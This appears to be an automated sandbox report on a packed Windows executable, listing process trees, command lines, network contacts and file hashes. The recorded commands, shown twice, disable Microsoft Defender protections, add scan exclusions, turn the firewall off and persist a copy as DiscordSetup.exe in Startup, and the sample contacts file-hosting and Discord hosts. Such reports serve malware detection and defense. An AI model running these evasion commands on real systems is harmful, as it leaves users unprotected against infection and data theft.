PID 1840 wrote to memory of 3768 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 3768 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 3768 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3768 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1600 wrote to memory of 3440 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1600 wrote to memory of 3440 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 4540 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4540 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4540 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 4744 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4744 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4744 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4744 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4388 wrote to memory of 652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4388 wrote to memory of 652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 4480 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 4480 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 4480 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4480 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1208 wrote to memory of 3104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1208 wrote to memory of 3104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1840 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 1840 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe C:\Windows\system32\cmd.exe
PID 3040 wrote to memory of 3856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3040 wrote to memory of 3856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe

"C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe"

C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe

"C:\Users\Admin\AppData\Local\Temp\PAP46E1UkZ.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\System32\Wbem\wmic.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .tmp"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .tmp

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -PUAProtection disable"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -PUAProtection disable

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIOAVProtection $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisablePrivacyMode $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisablePrivacyMode $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableArchiveScanning $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableArchiveScanning $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableScriptScanning $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableScriptScanning $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -MAPSReporting 0"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -MAPSReporting 0

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ScanScheduleDay 8"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -ScanScheduleDay 8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command netsh advfirewall set allprofiles state off"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command netsh advfirewall set allprofiles state off

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe"

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\System32\Wbem\wmic.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionPath ${env:HOMEDRIVE}${env:HOMEPATH}\AppData\Roaming\Microsoft\Windows\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .tmp"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .tmp

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -PUAProtection disable"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -PUAProtection disable

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Add-MpPreference -ExclusionExtension .exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Add-MpPreference -ExclusionExtension .exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableBlockAtFirstSeen $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIOAVProtection $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisablePrivacyMode $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisablePrivacyMode $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableArchiveScanning $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableArchiveScanning $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableIntrusionPreventionSystem $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -DisableScriptScanning $true"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -DisableScriptScanning $true

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -MAPSReporting 0"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -MAPSReporting 0

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -HighThreatDefaultAction 6 -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -LowThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -SevereThreatDefaultAction 6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command Set-MpPreference -ScanScheduleDay 8"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command Set-MpPreference -ScanScheduleDay 8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -command netsh advfirewall set allprofiles state off"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command netsh advfirewall set allprofiles state off

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

Network

Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 api.gofile.io udp
FR 45.112.123.126:443 api.gofile.io tcp
US 8.8.8.8:53 scan-echo.online udp
FR 51.91.236.255:443 scan-echo.online tcp
US 8.8.8.8:53 126.123.112.45.in-addr.arpa udp
US 8.8.8.8:53 255.236.91.51.in-addr.arpa udp
US 8.8.8.8:53 api.ipify.org udp
US 172.67.74.152:443 api.ipify.org tcp
US 8.8.8.8:53 ipapi.co udp
US 104.26.9.44:443 ipapi.co tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 44.9.26.104.in-addr.arpa udp
US 8.8.8.8:53 152.74.67.172.in-addr.arpa udp
US 8.8.8.8:53 233.128.159.162.in-addr.arpa udp
US 8.8.8.8:53 store4.gofile.io udp
FR 31.14.70.245:443 store4.gofile.io tcp
FR 31.14.70.245:443 store4.gofile.io tcp
US 8.8.8.8:53 245.70.14.31.in-addr.arpa udp
FR 31.14.70.245:443 store4.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
FR 51.91.236.255:443 scan-echo.online tcp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
FR 45.112.123.126:443 api.gofile.io tcp
FR 51.91.236.255:443 scan-echo.online tcp
FR 51.91.236.255:443 scan-echo.online tcp
US 162.159.128.233:443 discord.com tcp
N/A 127.0.0.1:55690 tcp
N/A 127.0.0.1:55692 tcp
US 8.8.8.8:53 73.209.201.84.in-addr.arpa udp
US 172.67.74.152:443 api.ipify.org tcp
US 104.26.9.44:443 ipapi.co tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 store1.gofile.io udp
FR 45.112.123.227:443 store1.gofile.io tcp
US 8.8.8.8:53 227.123.112.45.in-addr.arpa udp
FR 45.112.123.227:443 store1.gofile.io tcp
FR 45.112.123.227:443 store1.gofile.io tcp
US 162.159.128.233:443 discord.com tcp
US 162.159.128.233:443 discord.com tcp
FR 51.91.236.255:443 scan-echo.online tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
FR 51.91.236.255:443 scan-echo.online tcp
US 162.159.128.233:443 discord.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI50162\python310.dll

MD5 63a1fa9259a35eaeac04174cecb90048
SHA1 0dc0c91bcd6f69b80dcdd7e4020365dd7853885a
SHA256 14b06796f288bc6599e458fb23a944ab0c843e9868058f02a91d4606533505ed
SHA512 896caa053f48b1e4102e0f41a7d13d932a746eea69a894ae564ef5a84ef50890514deca6496e915aae40a500955220dbc1b1016fe0b8bcdde0ad81b2917dea8b

C:\Users\Admin\AppData\Local\Temp\_MEI50162\VCRUNTIME140.dll

MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

C:\Users\Admin\AppData\Local\Temp\_MEI50162\base_library.zip

MD5 01bd4f502a3ced4678e93cbb528debbb
SHA1 2c23d0d6699c3358875e3c9b3f810096384446cb
SHA256 a69368c96cf351b44b7e709b431ae4691580e241fd2367541d2361f348949af2
SHA512 1b9722bc5dfcf4656605d94f37d6d0cb351ce06a59170ac4e3e2a2ad1aae99ca06d7ca45b7572179394b711d24e9fb182c6fa1c3f4ac5d064bae802c64d80564

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_ctypes.pyd

MD5 1635a0c5a72df5ae64072cbb0065aebe
SHA1 c975865208b3369e71e3464bbcc87b65718b2b1f
SHA256 1ea3dd3df393fa9b27bf6595be4ac859064cd8ef9908a12378a6021bba1cb177
SHA512 6e34346ea8a0aacc29ccd480035da66e280830a7f3d220fd2f12d4cfa3e1c03955d58c0b95c2674aea698a36a1b674325d3588483505874c2ce018135320ff99

C:\Users\Admin\AppData\Local\Temp\_MEI50162\libffi-7.dll

MD5 eef7981412be8ea459064d3090f4b3aa
SHA1 c60da4830ce27afc234b3c3014c583f7f0a5a925
SHA256 f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
SHA512 dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_bz2.pyd

MD5 86d1b2a9070cd7d52124126a357ff067
SHA1 18e30446fe51ced706f62c3544a8c8fdc08de503
SHA256 62173a8fadd4bf4dd71ab89ea718754aa31620244372f0c5bbbae102e641a60e
SHA512 7db4b7e0c518a02ae901f4b24e3860122acc67e38e73f98f993fe99eb20bb3aa539db1ed40e63d6021861b54f34a5f5a364907ffd7da182adea68bbdd5c2b535

C:\Users\Admin\AppData\Local\Temp\_MEI50162\python3.dll

MD5 fd4a39e7c1f7f07cf635145a2af0dc3a
SHA1 05292ba14acc978bb195818499a294028ab644bd
SHA256 dc909eb798a23ba8ee9f8e3f307d97755bc0d2dc0cb342cedae81fbbad32a8a9
SHA512 37d3218bc767c44e8197555d3fa18d5aad43a536cfe24ac17bf8a3084fb70bd4763ccfd16d2df405538b657f720871e0cd312dfeb7f592f3aac34d9d00d5a643

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_lzma.pyd

MD5 7447efd8d71e8a1929be0fac722b42dc
SHA1 6080c1b84c2dcbf03dcc2d95306615ff5fce49a6
SHA256 60793c8592193cfbd00fd3e5263be4315d650ba4f9e4fda9c45a10642fd998be
SHA512 c6295d45ed6c4f7534c1a38d47ddc55fea8b9f62bbdc0743e4d22e8ad0484984f8ab077b73e683d0a92d11bf6588a1ae395456cfa57da94bb2a6c4a1b07984de

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_uuid.pyd

MD5 b68c98113c8e7e83af56ba98ff3ac84a
SHA1 448938564559570b269e05e745d9c52ecda37154
SHA256 990586f2a2ba00d48b59bdd03d3c223b8e9fb7d7fab6d414bac2833eb1241ca2
SHA512 33c69199cba8e58e235b96684346e748a17cc7f03fc068cfa8a7ec7b5f9f6fa90d90b5cdb43285abf8b4108e71098d4e87fb0d06b28e2132357964b3eea3a4f8

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_socket.pyd

MD5 819166054fec07efcd1062f13c2147ee
SHA1 93868ebcd6e013fda9cd96d8065a1d70a66a2a26
SHA256 e6deb751039cd5424a139708475ce83f9c042d43e650765a716cb4a924b07e4f
SHA512 da3a440c94cb99b8af7d2bc8f8f0631ae9c112bd04badf200edbf7ea0c48d012843b4a9fb9f1e6d3a9674fd3d4eb6f0fa78fd1121fad1f01f3b981028538b666

C:\Users\Admin\AppData\Local\Temp\_MEI50162\select.pyd

MD5 a653f35d05d2f6debc5d34daddd3dfa1
SHA1 1a2ceec28ea44388f412420425665c3781af2435
SHA256 db85f2f94d4994283e1055057372594538ae11020389d966e45607413851d9e9
SHA512 5aede99c3be25b1a962261b183ae7a7fb92cb0cb866065dc9cd7bb5ff6f41cc8813d2cc9de54670a27b3ad07a33b833eaa95a5b46dad7763ca97dfa0c1ce54c9

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_queue.pyd

MD5 d8c1b81bbc125b6ad1f48a172181336e
SHA1 3ff1d8dcec04ce16e97e12263b9233fbf982340c
SHA256 925f05255f4aae0997dc4ec94d900fd15950fd840685d5b8aa755427c7422b14
SHA512 ccc9f0d3aca66729832f26be12f8e7021834bbee1f4a45da9451b1aa5c2e63126c0031d223af57cf71fad2c85860782a56d78d8339b35720194df139076e0772

C:\Users\Admin\AppData\Local\Temp\_MEI50162\pyexpat.pyd

MD5 1118c1329f82ce9072d908cbd87e197c
SHA1 c59382178fe695c2c5576dca47c96b6de4bbcffd
SHA256 4a2d59993bce76790c6d923af81bf404f8e2cb73552e320113663b14cf78748c
SHA512 29f1b74e96a95b0b777ef00448da8bd0844e2f1d8248788a284ec868ae098c774a694d234a00bd991b2d22c2372c34f762cdbd9ec523234861e39c0ca752dcaa

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_tkinter.pyd

MD5 8da8e5348d9f9572ce9216ac8a628c2b
SHA1 35a23ea241d004a45399d69ca038042936d8288d
SHA256 06b96357f5dd83d0d8105127e7aaeacb834ddf1ae03fa46aaffdc1e5fd0a7621
SHA512 ca7a05cb49c8af6ebfa3cd5d415352bfd0c2abdbbf05d539e296042bbde075d29ddc8c2a2e5d46c9e736dcc848bc633686029784883f855167875972fb607f42

